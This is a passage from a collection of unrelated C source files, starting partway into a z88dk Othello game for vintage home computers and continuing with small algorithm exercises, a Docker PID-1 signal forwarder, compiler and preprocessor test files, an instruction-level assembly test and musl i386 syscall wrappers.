-create-app -DREDEFINED_FONT -DZX81_FONT othello.c * zcc +zx80 -O3 -create-app -DREDEFINED_FONT -DZX80_FONT othello.c * zcc +ace -O3 -lndos -create-app -DREDEFINED_FONT othello.c * zcc +srr -O3 -lndos -create-app -DREDEFINED_FONT othello.c * zcc +zx -O3 -lndos -create-app -DREDEFINED_FONT othello.c */ /* OTHELLO -- The Game of Dramatic Reversals written by Bert Halstead modified for BDS C by Leor Zolman This program is a good example of: a) structured, heirarchical function organization b) arrays as formal parameters c) use of the "qsort" library function Object of the game is for two players to alternate placing their marker someplace on an 8 by 8 grid, so that at least one of the opponent's pieces becomes surrounded by the moving player's peices -- causing the flanked pieces to flip 'color' and belong to the moving player. After 60 moves have been played (or if no player has a legal move left), the player with the most of his own pieces on the board wins. The playing pieces are '*' and '@'. You may choose to play either '*' or '@' for the first game; thereafter, you and the computer will alternate going first for each game. Whoever goes first always plays `*'. You enter a move as a two digit number, each digit being from 1 to 8, first digit representing row and second representing column. For example: if playing '*', your first move might be '46', meaning 4th row down, 6th position across. As an alternative to entering a move, one of the following commands may be typed: g causes computer to play both sides until game is over a causes computer to print out an analysis of each of your possible moves. A letter from A to Z will appear at each of your legal move positions, where A is the machine's opinion of an excellant move and Z is a real loser. hn sets handicap. n is 1,2,3, or 4. If n is positive, gives n free pieces to the computer. If n is negative, gives YOU the free peices. f forfeit the current move. This happens automatically if you have no legal moves. q quit the current game. b prints out board again. s prints out the score, and tells who is winning. */ #define BLACK '*' #define WHITE 'O' #define EMPTY '-' #ifdef __SPECTRUM__ #define G_BLACK 128 #define G_WHITE 129 #define G_EMPTY 130 #endif #ifdef __ACE__ #define G_BLACK 0 #define G_WHITE 1 #define G_EMPTY 2 #endif #ifdef __SORCERER__ #define G_BLACK 193 #define G_WHITE 194 #define G_EMPTY 195 #endif #ifdef __SHARPMZ__ #define G_BLACK 0xf1 #define G_WHITE 0xf7 #define G_EMPTY 0xda #endif #ifdef ZX81_DKTRONICS #define G_BLACK 6 #define G_WHITE 14 #define G_EMPTY 62 #endif #ifndef G_BLACK #define G_BLACK '*' #define G_WHITE 'O' #define G_EMPTY '.' #endif #include <stdio.h> #include <string.h> #include <ctype.h> #include <stdlib.h> #include <time.h> /* Needed just for srand seed */ #ifdef WIDEGRAPHICS #include <graphics.h> #include <games.h> #endif #ifdef GRAPHICS #include <graphics.h> #include <games.h> /* Declare GFX bitmap location for the expanded ZX81 */ //#pragma output hrgpage = 36096 #endif #ifdef SMALLGRAPHICS #include <graphics.h> #include <games.h> #endif #ifndef fputc_cons #define fputc_cons putchar #endif #ifndef getk #define getk getchar #endif int handicap; char selfplay; /* true if computer playing with itself */ /* int h[4][2]; */ /* handicap position table */ int h[8]; /* handicap position table */ char mine, his; /* who has black (*) and white (@) in current game */ char mefirst; /* true if computer goes first in current game */ struct mt { int x; int y; int c; int s; }; #if defined (REDEFINED_FONT) extern char whitepiece[]; extern char blackpiece[]; extern char frame[]; #asm ._whitepiece defb @11111110 defb @11000011 defb @10001000 defb @10000101 defb @10000100 defb @10000001 defb @11000010 defb @01010101 ._blackpiece defb @11111110 defb @11000011 defb @10110100 defb @10111001 defb @10111100 defb @10111101 defb @11000010 defb @01010101 ._frame defb @11111110 defb @11111111 defb @11111110 defb @11111111 defb @11111110 defb @11111111 defb @11111110 defb @01010101 #endasm #endif #ifdef WIDEGRAPHICS char numbers[] = { 3, 5, 0xE0 , 0xA0 , 0xA0 , 0xA0 , 0xE0, 3, 5, 0x40 , 0x40 , 0x40 , 0x40 , 0x40, 3, 5, 0xE0 , 0x20 , 0xE0 , 0x80 , 0xE0, 3, 5, 0xE0 , 0x20 , 0xE0 , 0x20 , 0xE0, 3, 5, 0xA0 , 0xA0 , 0xE0 , 0x20 , 0x20, 3, 5, 0xE0 , 0x80 , 0xE0 , 0x20 , 0xE0, 3, 5, 0xE0 , 0x80 , 0xE0 , 0xA0 , 0xE0, 3, 5, 0xE0 , 0x20 , 0x20 , 0x20 , 0x20, 3, 5, 0xE0 , 0xA0 , 0xE0 , 0xA0 , 0xE0, 3, 5, 0xE0 , 0xA0 , 0xE0 , 0x20 , 0xE0 }; // Generated by Daniel McKinnon's z88dk Sprite Editor char frame[] = { 24, 16, 0xAA , 0xAA , 0xAA , 0x00 , 0x00 , 0x01 , 0x80 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x80 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x80 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x80 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x80 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x80 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x80 , 0x00 , 0x00 , 0x55 , 0x55 , 0x55 }; char whitepiece[] = { 24, 16, 0x00 , 0x00 , 0x00 , 0x00 , 0xFF , 0x00 , 0x03 , 0x00 , 0xC0 , 0x0C , 0x00 , 0x30 , 0x10 , 0x0E , 0x08 , 0x20 , 0x01 , 0x84 , 0x20 , 0x00 , 0x44 , 0x40 , 0x00 , 0x22 , 0x40 , 0x00 , 0x02 , 0x20 , 0x00 , 0x04 , 0x20 , 0x00 , 0x04 , 0x10 , 0x00 , 0x08 , 0x0C , 0x00 , 0x30 , 0x03 , 0x00 , 0xC0 , 0x00 , 0xFF , 0x00 , 0x00 , 0x00 , 0x00 }; char blackpiece[] = { 24, 16, 0x00 , 0x00 , 0x00 , 0x00 , 0xFF , 0x00 , 0x03 , 0xFF , 0xC0 , 0x0F , 0xFF , 0xF0 , 0x1F , 0xF1 , 0xF8 , 0x3F , 0xFC , 0x7C , 0x3F , 0xFF , 0xBC , 0x7F , 0xFF , 0xDE , 0x7F , 0xFF , 0xFE , 0x3F , 0xFF , 0xFC , 0x3F , 0xFF , 0xFC , 0x1F , 0xFF , 0xF8 , 0x0F , 0xFF , 0xF0 , 0x03 , 0xFF , 0xC0 , 0x00 , 0xFF , 0x00 , 0x00 , 0x00 , 0x00 }; #endif #ifdef GRAPHICS extern char whitepiece[]; extern char blackpiece[]; extern char frame[]; char numbers[] = { 3, 5, 0xE0 , 0xA0 , 0xA0 , 0xA0 , 0xE0, 3, 5, 0x40 , 0x40 , 0x40 , 0x40 , 0x40, 3, 5, 0xE0 , 0x20 , 0xE0 , 0x80 , 0xE0, 3, 5, 0xE0 , 0x20 , 0xE0 , 0x20 , 0xE0, 3, 5, 0xA0 , 0xA0 , 0xE0 , 0x20 , 0x20, 3, 5, 0xE0 , 0x80 , 0xE0 , 0x20 , 0xE0, 3, 5, 0xE0 , 0x80 , 0xE0 , 0xA0 , 0xE0, 3, 5, 0xE0 , 0x20 , 0x20 , 0x20 , 0x20, 3, 5, 0xE0 , 0xA0 , 0xE0 , 0xA0 , 0xE0, 3, 5, 0xE0 , 0xA0 , 0xE0 , 0x20 , 0xE0 }; #asm ._frame defb 16,16 defb @10101010, @10101010 defb @00000000, @00000001 defb @10000000, @00000000 defb @00000000, @00000001 defb @10000000, @00000000 defb @00000000, @00000001 defb @10000000, @00000000 defb @00000000, @00000001 defb @10000000, @00000000 defb @00000000, @00000001 defb @10000000, @00000000 defb @00000000, @00000001 defb @10000000, @00000000 defb @00000000, @00000001 defb @10000000, @00000000 defb @01010101, @01010101 ._whitepiece defb 16,16 defb @00000000, @00000000 defb @00000000, @00000000 defb @00000011, @11000000 defb @00001100, @00110000 defb @00010000, @11001000 defb @00010000, @00101000 defb @00100000, @00010100 defb @00100000, @00010100 defb @00100000, @00000100 defb @00100000, @00000100 defb @00010000, @00001000 defb @00010000, @00001000 defb @00001100, @00110000 defb @00000011, @11000000 defb @00000000, @00000000 defb @00000000, @00000000 ._blackpiece defb 16,16 defb @00000000, @00000000 defb @00000000, @00000000 defb @00000011, @11000000 defb @00001111, @11110000 defb @00011111, @00111000 defb @00011111, @11011000 defb @00111111, @11101100 defb @00111111, @11101100 defb @00111111, @11111100 defb @00111111, @11111100 defb @00011111, @11111000 defb @00011111, @11111000 defb @00001111, @11110000 defb @00000011, @11000000 defb @00000000, @00000000 defb @00000000, @00000000 #endasm #endif #ifdef SMALLGRAPHICS extern char whitepiece[]; extern char blackpiece[]; extern char frame[]; char numbers[] = { 3, 5, 0xE0 , 0xA0 , 0xA0 , 0xA0 , 0xE0, 3, 5, 0x40 , 0x40 , 0x40 , 0x40 , 0x40, 3, 5, 0xE0 , 0x20 , 0xE0 , 0x80 , 0xE0, 3, 5, 0xE0 , 0x20 , 0xE0 , 0x20 , 0xE0, 3, 5, 0xA0 , 0xA0 , 0xE0 , 0x20 , 0x20, 3, 5, 0xE0 , 0x80 , 0xE0 , 0x20 , 0xE0, 3, 5, 0xE0 , 0x80 , 0xE0 , 0xA0 , 0xE0, 3, 5, 0xE0 , 0x20 , 0x20 , 0x20 , 0x20, 3, 5, 0xE0 , 0xA0 , 0xE0 , 0xA0 , 0xE0, 3, 5, 0xE0 , 0xA0 , 0xE0 , 0x20 , 0xE0 }; #asm ._frame defb 6,5 defb @00000100 defb @00000000 defb @00000100 defb @00000000 defb @01010100 ._whitepiece defb 4,4 defb @01100000 defb @10010000 defb @10010000 defb @01100000 ._blackpiece defb 4,4 defb @01100000 defb @11110000 defb @11110000 defb @01100000 #endasm #endif /* void shift_right() { printf("%c[%uC",27,17); } */ char skipbl() { char c; while ((c = toupper(getchar())) == ' ' || c=='\t'); //fputc_cons(c); return c; } int chkmv1( char b[64], char p, int x, int y, int m, int n ) { int k; k=0; while ((x += m) >= 0 && x < 8 && (y += n) >= 0 && y<8) { if (b[x*8+y]==EMPTY) return 0; if (b[x*8+y]== p ) return k; if (x==0 || x==7 || y==0 || y==7) k += 10; else k++; } return 0; } int chkmov( char b[64], char p, int x, int y ) { if (b[x*8+y] != EMPTY) return 0; return chkmv1(b,p,x,y,0,1) + chkmv1(b,p,x,y,1,0) + chkmv1(b,p,x,y,0,-1)+ chkmv1(b,p,x,y,-1,0)+ chkmv1(b,p,x,y,1,1) + chkmv1(b,p,x,y,1,-1)+ chkmv1(b,p,x,y,-1,1)+ chkmv1(b,p,x,y,-1,-1); } int chkmvs( char b[64], char p ) { int i,j,k; k=0; for (i=0; i<8; i++) for (j=0; j<8; j++) k += chkmov(b,p,i,j); return k; } void cpybrd(char a[64], char b[64]) { memcpy(a,b,64); } int cntbrd(char b[64], char p) { int i,k; i=64;k=0; while (i--) if (b[i] == p) ++k; return (k); } void clrbrd(char b[64]) { int i,j; for (i=0; i<8; i++) for (j=0; j<8; j++) b[i*8+j]= EMPTY; b[27] = b[36] = BLACK; b[28] = b[35] = WHITE; } void prtbrd(char b[64]) { int i,j; #define TEXT 1 #ifdef GRAPHICS #undef TEXT clg(); printf("%c",12); for (i=0; i<8; i++) { putsprite(spr_or,127+i*16,2,&numbers[(i+1)*7]); putsprite(spr_or,112,16+i*16,&numbers[(i+1)*7]); for (j=0; j<8; j++) { putsprite(spr_or,120+i*16,10+j*16,frame); switch(b[i*8+j]) { case BLACK: putsprite(spr_or,120+j*16,10+i*16,blackpiece); break; case WHITE: putsprite(spr_or,120+j*16,10+i*16,whitepiece); break; } } } #endif #ifdef WIDEGRAPHICS #undef TEXT clg(); printf("%c",12); for (i=0; i<8; i++) { putsprite(spr_or,227+i*27,2,&numbers[(i+1)*7]); putsprite(spr_or,212,15+i*17,&numbers[(i+1)*7]); for (j=0; j<8; j++) { putsprite(spr_or,220+i*27,10+j*17,frame); switch(b[i*8+j]) { case BLACK: putsprite(spr_or,220+j*27,10+i*17,blackpiece); break; case WHITE: putsprite(spr_or,220+j*27,10+i*17,whitepiece); break; } } } #endif #ifdef SMALLGRAPHICS #undef TEXT clg(); printf ("%c",12); for (i=0; i<8; i++) { putsprite(spr_or,157+i*7,0,&numbers[(i+1)*7]); putsprite(spr_or,151,6+i*7,&numbers[(i+1)*7]); for (j=0; j<8; j++) { putsprite(spr_or,155+i*7,7+j*7,frame); switch(b[i*8+j]) { case BLACK: putsprite(spr_or,155+j*7,6+i*7,blackpiece); break; case WHITE: putsprite(spr_or,155+j*7,6+i*7,whitepiece); break; } } } #endif #ifdef TEXT #if defined (REDEFINED_FONT) || defined (ZX81_FONT) || defined (ZX80_FONT) printf(" 12345678\n"); for (i=0; i<8; i++) { printf(" %u",i+1); for (j=0; j<8; j++) { #if defined (ZX80_FONT) || defined (ZX81_FONT) || defined (ZX81_DKTRONICS) zx_asciimode(0); switch(b[i*8+j]) { #ifdef ZX81_DKTRONICS case BLACK: putchar (G_BLACK); break; case WHITE: putchar (G_WHITE); break; default: putchar (G_EMPTY); break; #else #ifdef ZX80_FONT case BLACK: putchar (148); break; case WHITE: putchar (180); break; default: putchar (128+9*((i+j)&1)); break; #else case BLACK: putchar (151); break; case WHITE: putchar (180); break; default: putchar (128+8*((i+j)&1)); break; #endif #endif } zx_asciimode(1); #else switch(b[i*8+j]) { case BLACK: putchar (G_BLACK); break; case WHITE: putchar (G_WHITE); break; default: putchar (G_EMPTY); break; } #endif } putchar('\n'); } #else printf(" 1 2 3 4 5 6 7 8\n"); for (i=0; i<8; i++) { printf(" %u",i+1); for (j=0; j<8; j++) { //#ifdef ANSITEXT //#endif putchar(' '); putchar(b[i*8+j]); } putchar('\n'); } #endif #endif putchar('\n'); } int prtscr(char b[64]) { int i,j; printf("%u-%u",i = cntbrd(b,his), j=cntbrd(b,mine)); return i-j; } char getmov(int *i, int *j) { char a,c; int n; char *p; /* char skipbl(); */ //shift_right(); if (selfplay == 'G') { if (getk()==0) return 'G'; selfplay = ' '; getchar(); } printf("Move: "); while(1) switch (c=skipbl()) { case '\n': printf("Move? "); continue; case 'G': if ((c = skipbl()) != '\n') goto flush; selfplay='G'; return 'G'; case 'B': case 'S': case 'Q': case 'F': case 'A': a=c; if (( c = skipbl()) != '\n') goto flush; return a; case 'H': if ((a=c=skipbl()) == EMPTY) c=getchar(); if (c<'1' || c>'4' || skipbl() !='\n') goto flush; *i = a==EMPTY? -(c-'0') : (c-'0'); return 'H'; case 4: return c; default: if (c<'1' || c>'8') goto flush; *i = c-'1'; c = skipbl(); if (c<'1' || c>'8') goto flush; *j = c- '1'; if ((c=skipbl()) == '\n') return 'M'; flush: while (c != '\n' && c != 4) c=getchar(); if (c==4) return c; printf (" Huh?? "); } } char ask(char *s) { char a,c; printf ("%s ",s); a=skipbl(); while (c != '\n' && c != 4) c= getchar(); return a; } void putmv1(char b[64], char p,int x, int y, int m, int n) { while ((x += m) >= 0 && x<8 && (y += n)>=0 && y<8) { if (b[x*8+y] == EMPTY || b[x*8+y] == p) return; b[x*8+y] = p; } } void putmov(char b[64], char p, int x, int y) { int i,j; b[x*8+y] = p; for (i= -1; i<=1; i++) for (j= -1; j<=1; j++) { if ((i != 0 || j!=0)&&chkmv1(b,p,x,y,i,j)>0) putmv1(b,p,x,y,i,j); } } char notak2(char b[64], char p,char o,char e, int x, int y,int m,int n) { x += m; y +=n; if (x>=0 && x<=7 && y>=0 && y<=7) while(b[x*8+y] == 0) { x += m; y+=n; if (x<0 || x>7 || y<0 || y>7 || b[x*8+y]==e) return o; } while (x>=0 && x<=7 && y>=0 && y<=7 && b[x*8+y]==p) { x +=m; y+=n; } if (x<0 || x>7 || y<0 || y>7) return p; return b[x*8+y]; } char notak1(char b[64], char p,char o,char e,int x,int y,int m,int n) { int c1,c2; c1 = notak2(b,p,o,e,x,y,m,n); c2 = notak2(b,p,o,e,x,y,-m,-n); return !(c1==o && c2==e || c1==e && c2==o); } char notake(char b[64],char p,char o,char e,int x,int y) { return notak1(b,p,o,e,x,y,0,1)&& notak1(b,p,o,e,x,y,1,1)&& notak1(b,p,o,e,x,y,1,0)&& notak1(b,p,o,e,x,y,1,-1); } char s_move(char b[64], char p, char o, char e, int i, int j) { char a[64]; int ok,s,k,l,side,oside; int c,dkl; cpybrd(a,b); putmov(a,p,i,j); side = 0; if (i==0 || i==7) side++; if (j==0 || j==7) side++; s = 0; ok = 0; if (side==2 || notake(b,p,o,e,i,j)) ok++; oside = 0; for (k=0; k<8; k++) for(l=0; l<8; l++) { c=chkmov(a,o,k,l); if (c==0) continue; dkl = 1; if (k==0 || k==7) { dkl+=2; oside|=4;} if (l==0 || l==7) {dkl+=2; oside|=4; } if (dkl==5) {dkl = 10; oside |= 16; } else if (!notake(a,o,p,e,k,l)) continue; oside |= 1; s -= dkl; if (c>=10) { s -= 4; oside |= 8; } } if (s< -oside) s= -oside; if (side>0) return s+side-7+10*ok; if (i==1 || i==6) {s--; side++;} if (j==1 || j==6) {s--; side++;} if (side>0) return s; if (i==2 || i==5) s++; if (j==2 || j==5) s++; return s; } int fillmt(char b[64], char p, char o, char e, struct mt t[64]) { int i,j,k; k = 0; for (i=0; i<8; i++) for(j=0; j<8; j++) if (t[k].c = chkmov(b,p,i,j)) { t[k].x =i; t[k].y =j; t[k].s = s_move(b,p,o,e,i,j); ++k; } return k; } void analyze(char b[64], char p, char o, char e) { struct mt t[64]; char a[64]; int i,k,c; k = fillmt(b,p,o,e,t); cpybrd(a,b); for (i=0; i<k; i++) a[t[i].x*8+t[i].y] = ((c = 'F' - t[i].s) <= 'Z')?c:'Z'; prtbrd(a); } int cmpmov(struct mt *a,struct mt *b) { if ((*a).s > (*b).s) return -1; if ((*a).s < (*b).s) return 1; if ((*a).c > (*b).c) return -1; if ((*a).c < (*b).c) return 1; return 0; } int my_mov(char b[64], char p,char o,char e,int *m,int *n) { struct mt t[64]; int i,k; k = fillmt(b,p,o,e,t); if (!k) return 0; qsort (t, k, sizeof(struct mt), cmpmov); for (i=1; i<k; i++) if (t[i].s != t[0].s || t[i].c != t[0].c) break; k = rand() % i; *m = t[k].x; *n = t[k].y; return 1; } int game(char b[64],int n) { char c; int ff; int i,j; handicap = 0; selfplay = ' '; ff=0; if (mefirst) { mine = BLACK; his = WHITE; printf("I go first:\n"); } else { mine = WHITE; his = BLACK; printf("You go first:\n"); } while(1) { if (cntbrd(b,EMPTY)==0) return 'D'; if (cntbrd(b,EMPTY)==60 && mine == BLACK) goto Istart; if (chkmvs(b,his)==0) { printf(!mefirst ? "Forfeit" : " ...Forfeit\n"); ff |= 1; } else switch (c = getmov(&i,&j)) { case 'B': prtbrd(b); continue; case 'S': i= prtscr(b); if (i>0) printf(" You're winning\n"); else if (i<0)printf(" You're losing!\n"); else putchar('\n'); continue; case 'Q': case 4: return c; case 'H': if (n>(unsigned int)(handicap)+4) printf("Illegal!\n"); else for (j=0; i!=0; j++) { b[h[j*2]*8+h[j*2+2]]= i>0?BLACK:WHITE; handicap += i>0 ? 1 : -1; ++n; i += i>0 ? -1 : 1; } prtbrd(b); continue; case 'A': analyze(b,his,mine,EMPTY); continue; case 'G': my_mov(b,his,mine,EMPTY,&i,&j); case 'M': if (chkmov(b,his,i,j)>0) { printf(!mefirst ? "%u-%u" : " ...%u-%u\n", i+1,j+1); putmov(b,his,i,j); } else { printf("Illegal!\n"); continue; } break; case 'F': if (n>(unsigned int)(handicap)+4) { printf ("Illegal!\n"); continue; } else printf(!mefirst ? "Forfeit" : " ...Forfeit\n"); } Istart: if (cntbrd(b,EMPTY) == 0) return 'D'; if (chkmvs(b,mine)==0) { printf(!mefirst ? "...Forfeit\n": "Forfeit...\n"); ff |=2; } else { my_mov(b,mine,his,EMPTY,&i,&j); printf(!mefirst ? "...%u-%u\n" : "%u-%u...\n", i+1,j+1); putmov(b,mine,i,j); ++n; } if (ff==3 || n>64) return 'D'; if (!(ff & 1)) prtbrd(b); ff = 0; } } int main() { char b[64]; int i; /* h[0][0] = h[0][1] = h[2][0] = h[3][1] = 0; h[1][0] = h[1][1] = h[2][1] = h[3][0] = 7; */ h[0] = h[1] = h[4] = h[7] = 0; h[2] = h[3] = h[5] = h[6] = 7; #ifdef REDEFINED_FONT #ifdef __SPECTRUM__ /* set console driver for 32 columns mode */ printf("%c%c",1,32); /* INK 7 */ printf("%c7",16); /* PAPER 0 */ printf("%c0",17); /* Copy graphics in UDG area */ memcpy(65368, whitepiece,24); zx_border(0); #endif #ifdef __ACE__ memcpy(0x2c00, whitepiece,24); #endif #ifdef __SORCERER__ memcpy(0xfe08, whitepiece,24); #endif #endif #ifdef ANSITEXT printf("%c\nWelcome to the %c[7m OTHELLO %c[27m program!\n",12,27,27); printf("\nNote: %c[4m BLACK ALWAYS GOES FIRST %c[24m ...Good luck!!!\n\n\n",27,27); #else printf("%c\nWelcome to the OTHELLO program!\n",12); printf("\nNote: BLACK ALWAYS GOES FIRST ...Good luck!!!\n\n\n"); #endif printf("Do you want to go first? "); if (toupper(getchar()) == 'Y') mefirst = 0; else mefirst = 1; #ifdef ZX81_DKTRONICS #asm ld a,$20 ld i,a #endasm #endif //srand( (unsigned)clock() ); do { clrbrd(b); printf("\n"); prtbrd(b); i = game(b,4); mefirst = !mefirst; if (i==4) break; if (i=='Q') continue; printf("\n"); i = prtscr(b); if (i>0) printf(" You won by %d\n",i); else if (i<0) printf(" You lost by %d\n",-i); else printf(" A draw\n"); } while (ask((char *)"Another game? ")=='Y'); }
the_stack_data/3262289.c
#include <stdio.h> typedef struct { int v; long long l, r; } P; int n, i, j, k; long long c; P a[100000], t[50000]; void f(int l, int r) { if (l + 1 >= r) return; int m = (l + r) / 2, s = m - l; f(l, m); f(m, r); for (i = 0; i != s; ++i) t[i] = a[l + i]; i = l, j = 0, k = m; for (;;) { if (t[j].v <= a[k].v) { a[i] = t[j++]; a[i++].r += k - m; if (j == s) break; } else { a[i] = a[k++]; a[i++].l += s - j; if (k == r) break; } } for (; j != s; ++i, ++j) { a[i] = t[j]; a[i].r += k - m; } } int main() { scanf("%d", &n); for (i = 0; i != n; ++i) scanf("%d", &a[i].v); f(0, n); for (i = 0; i != n; ++i) c += a[i].l * a[i].r; printf("%lld", c); return 0; }
the_stack_data/6799.c
#include <stdio.h> int main() { char c[100]; scanf("%s",&c); int l =0; while(c[l]!= NULL) l++; for(int i=0,j=l-1;i<l;i++,j--) { //printf( "%s \t %d %d",c,i,j); if(c[i]==c[j] && i<j) {continue;} else if(c[i]!=c[j]){ printf("NO"); return 0;} } printf("YES"); return 0; }
the_stack_data/98716.c
/* * This program handles SIGINT and forwards it to another process. * It is intended to be run as PID 1. * * Docker starts processes with "docker run" as PID 1. * On Linux, the default signal handler for PID 1 ignores any signals. * Therefore Ctrl-C aka SIGINT is ignored per default. */ #include <unistd.h> #include <stdio.h> #include <signal.h> #include <sys/types.h> #include <sys/wait.h> int pid = 0; void handle_sigint (int signum) { if(pid) kill(pid, SIGINT); } int main(int argc, char *argv[]){ struct sigaction new_action; int status = -1; /* Set up the structure to specify the new action. */ new_action.sa_handler = handle_sigint; sigemptyset (&new_action.sa_mask); new_action.sa_flags = 0; sigaction (SIGINT, &new_action, (void*)0); pid = fork(); if(pid){ wait(&status); return WEXITSTATUS(status); }else{ status = execvp(argv[1], &argv[1]); perror("exec"); return status; } }
the_stack_data/154829284.c
/* Example using the uniform and linear clauses for multidimension array access Access in the first dimension is uniform. The loop that calls the saxpy_2d() function indexes linearly through the second dimension via the variable j. */ #pragma omp declare simd uniform(x, y, d1, i, a) linear(j) void saxpy_2d(float *x, float *y, float a, int d1, int i, int j) { y[(d1*i)+j] = a*x[(d1*i)+j] + y[(d1*i)+j]; }
the_stack_data/537145.c
int f1(void) { int x = 1; return 2; } int f2(void) { int x = 1; } // BAD int f3(int b) { int x; if (b) { x = 1; return 2; } else { x = 3; return 4; } } int f4(int b) { int x; if (b) { x = 1; } else { x = 3; return 4; } } // BAD int f5(void) { __builtin_unreachable(); } int f6(int b) { int x; if (b) { x = 1; } else { __builtin_unreachable(); } } // BAD int f7(int b) { int x; do { x = 1; __builtin_unreachable(); } while (0); } void f8() { return; } void f9() { } void exit(int status); int f10() { exit(1); } int f11(int x) { if (x < 10) { return x; } else { f10(); // GOOD } } int f12(int x) { while (1) { // ... if (x == 10) return 1; // GOOD // ... } } void f13() { f13_func(); // implicitly declared here } void f13_func(int x) { if (x < 10) return; // GOOD } int f14() { __asm__("rdtsc"); // GOOD }
the_stack_data/1007445.c
// RUN: %clang -ccc-host-triple i386-unknown-unknown -static -dM -E -o %t %s // RUN: grep '#define __PIC__' %t | count 0 // RUN: grep '#define __pic__' %t | count 0 // RUN: %clang -ccc-host-triple i386-unknown-unknown -fpic -dM -E -o %t %s // RUN: grep '#define __PIC__ 1' %t | count 1 // RUN: grep '#define __pic__ 1' %t | count 1 // RUN: %clang -ccc-host-triple i386-unknown-unknown -fPIC -dM -E -o %t %s // RUN: grep '#define __PIC__ 2' %t | count 1 // RUN: grep '#define __pic__ 2' %t | count 1
the_stack_data/750451.c
//file: _insn_test_v2shl_X0.c //op=312 #include <stdio.h> #include <stdlib.h> void func_exit(void) { printf("%s\n", __func__); exit(0); } void func_call(void) { printf("%s\n", __func__); exit(0); } unsigned long mem[2] = { 0x11c672ab78dd743b, 0x31d131ae6b7da416 }; int main(void) { unsigned long a[4] = { 0, 0 }; asm __volatile__ ( "moveli r34, 29514\n" "shl16insli r34, r34, 14828\n" "shl16insli r34, r34, 1013\n" "shl16insli r34, r34, 14302\n" "moveli r19, -22322\n" "shl16insli r19, r19, -9600\n" "shl16insli r19, r19, 31146\n" "shl16insli r19, r19, -10762\n" "moveli r19, 1482\n" "shl16insli r19, r19, 23578\n" "shl16insli r19, r19, 5382\n" "shl16insli r19, r19, 26331\n" "{ v2shl r34, r19, r19 ; fnop }\n" "move %0, r34\n" "move %1, r19\n" "move %2, r19\n" :"=r"(a[0]),"=r"(a[1]),"=r"(a[2])); printf("%016lx\n", a[0]); printf("%016lx\n", a[1]); printf("%016lx\n", a[2]); return 0; }
the_stack_data/159515124.c
#include <stdlib.h> int main() { int a,b,c,d,e,rc; if (a) { switch((int)getenv("gude")) { case 0: ; int taint = 1; break; case 1: ; int taint2 = 2; /* FALLTHROUGH */ default: goto err; } if (b) { while (a != 4711) { for (int i = 0; i < (getenv("gude") == NULL); ++i) { do { while (getenv("gude") != NULL) { if ((getenv("gude") && a && b && c) || e) { if (a) { do { int a = 0; } while (0); } else { int b = 1; } } else if (a || b || c) { int t = a; if (!b) return -1; } else { int t = 1; } rc = 4711; } int end1 = 1; } while (getenv("gude")); int end2 = 1; } } int ut1 = 1; for (int j = 0; j < 42; ++j) { while ((a || b || c) && e != (int)getenv("gude")) { int taint_me = 1; } int ut4 = 1; } } else if (getenv("gude") != NULL) { int t = 1; } int no_taint = 1; while (getenv("gude") != NULL) { if (no_taint == 1) break; int taint_me = 1; if (d) { goto err; } else { int t = 1; } } } int ut6 = 1; err: ; int no_taint = 1; return rc; }
the_stack_data/6387412.c
/* { dg-do compile } */ /* { dg-options "-Waddress -Wattributes -Werror" } */ /* { dg-message "warnings being treated as errors" "" {target "*-*-*"} 0 } */ /* Make sure -Werror turns warnings in to errors. */ void grill (); void __attribute__((dj)) bar() { } /* { dg-error ".* attribute directive ignored" } */ int i; void foo () { if (&i) /* { dg-error ".* will always evaluate as 'true'" } */ grill (); }
the_stack_data/5942.c
#include "syscall.h" #define __SYSCALL_LL_E(x) \ ((union { long long ll; long l[2]; }){ .ll = x }).l[0], \ ((union { long long ll; long l[2]; }){ .ll = x }).l[1] #define __SYSCALL_LL_O(x) __SYSCALL_LL_E((x)) #if SYSCALL_NO_TLS #define SYSCALL_INSNS "int $128" #else #define SYSCALL_INSNS "call *%%gs:16" #endif #define SYSCALL_INSNS_12 "xchg %%ebx,%%edx ; " SYSCALL_INSNS " ; xchg %%ebx,%%edx" #define SYSCALL_INSNS_34 "xchg %%ebx,%%edi ; " SYSCALL_INSNS " ; xchg %%ebx,%%edi" inline long __syscall0(long n) { unsigned long __ret; __asm__ __volatile__ (SYSCALL_INSNS : "=a"(__ret) : "a"(n) : "memory"); return __ret; } inline long __syscall1(long n, long a1) { unsigned long __ret; __asm__ __volatile__ (SYSCALL_INSNS_12 : "=a"(__ret) : "a"(n), "d"(a1) : "memory"); return __ret; } inline long __syscall2(long n, long a1, long a2) { unsigned long __ret; __asm__ __volatile__ (SYSCALL_INSNS_12 : "=a"(__ret) : "a"(n), "d"(a1), "c"(a2) : "memory"); return __ret; } inline long __syscall3(long n, long a1, long a2, long a3) { unsigned long __ret; #if !defined(__PIC__) || !defined(BROKEN_EBX_ASM) __asm__ __volatile__ (SYSCALL_INSNS : "=a"(__ret) : "a"(n), "b"(a1), "c"(a2), "d"(a3) : "memory"); #else __asm__ __volatile__ (SYSCALL_INSNS_34 : "=a"(__ret) : "a"(n), "D"(a1), "c"(a2), "d"(a3) : "memory"); #endif return __ret; } inline long __syscall4(long n, long a1, long a2, long a3, long a4) { unsigned long __ret; #if !defined(__PIC__) || !defined(BROKEN_EBX_ASM) __asm__ __volatile__ (SYSCALL_INSNS : "=a"(__ret) : "a"(n), "b"(a1), "c"(a2), "d"(a3), "S"(a4) : "memory"); #else __asm__ __volatile__ (SYSCALL_INSNS_34 : "=a"(__ret) : "a"(n), "D"(a1), "c"(a2), "d"(a3), "S"(a4) : "memory"); #endif return __ret; } inline long __syscall5(long n, long a1, long a2, long a3, long a4, long a5) { unsigned long __ret; #if !defined(__PIC__) || !defined(BROKEN_EBX_ASM) __asm__ __volatile__ (SYSCALL_INSNS : "=a"(__ret) : "a"(n), "b"(a1), "c"(a2), "d"(a3), "S"(a4), "D"(a5) : "memory"); #else __asm__ __volatile__ ("pushl %2 ; push %%ebx ; mov 4(%%esp),%%ebx ; " SYSCALL_INSNS " ; pop %%ebx ; add $4,%%esp" : "=a"(__ret) : "a"(n), "g"(a1), "c"(a2), "d"(a3), "S"(a4), "D"(a5) : "memory"); #endif return __ret; } inline long __syscall6(long n, long a1, long a2, long a3, long a4, long a5, long a6) { unsigned long __ret; #if !defined(__PIC__) || !defined(BROKEN_EBX_ASM) 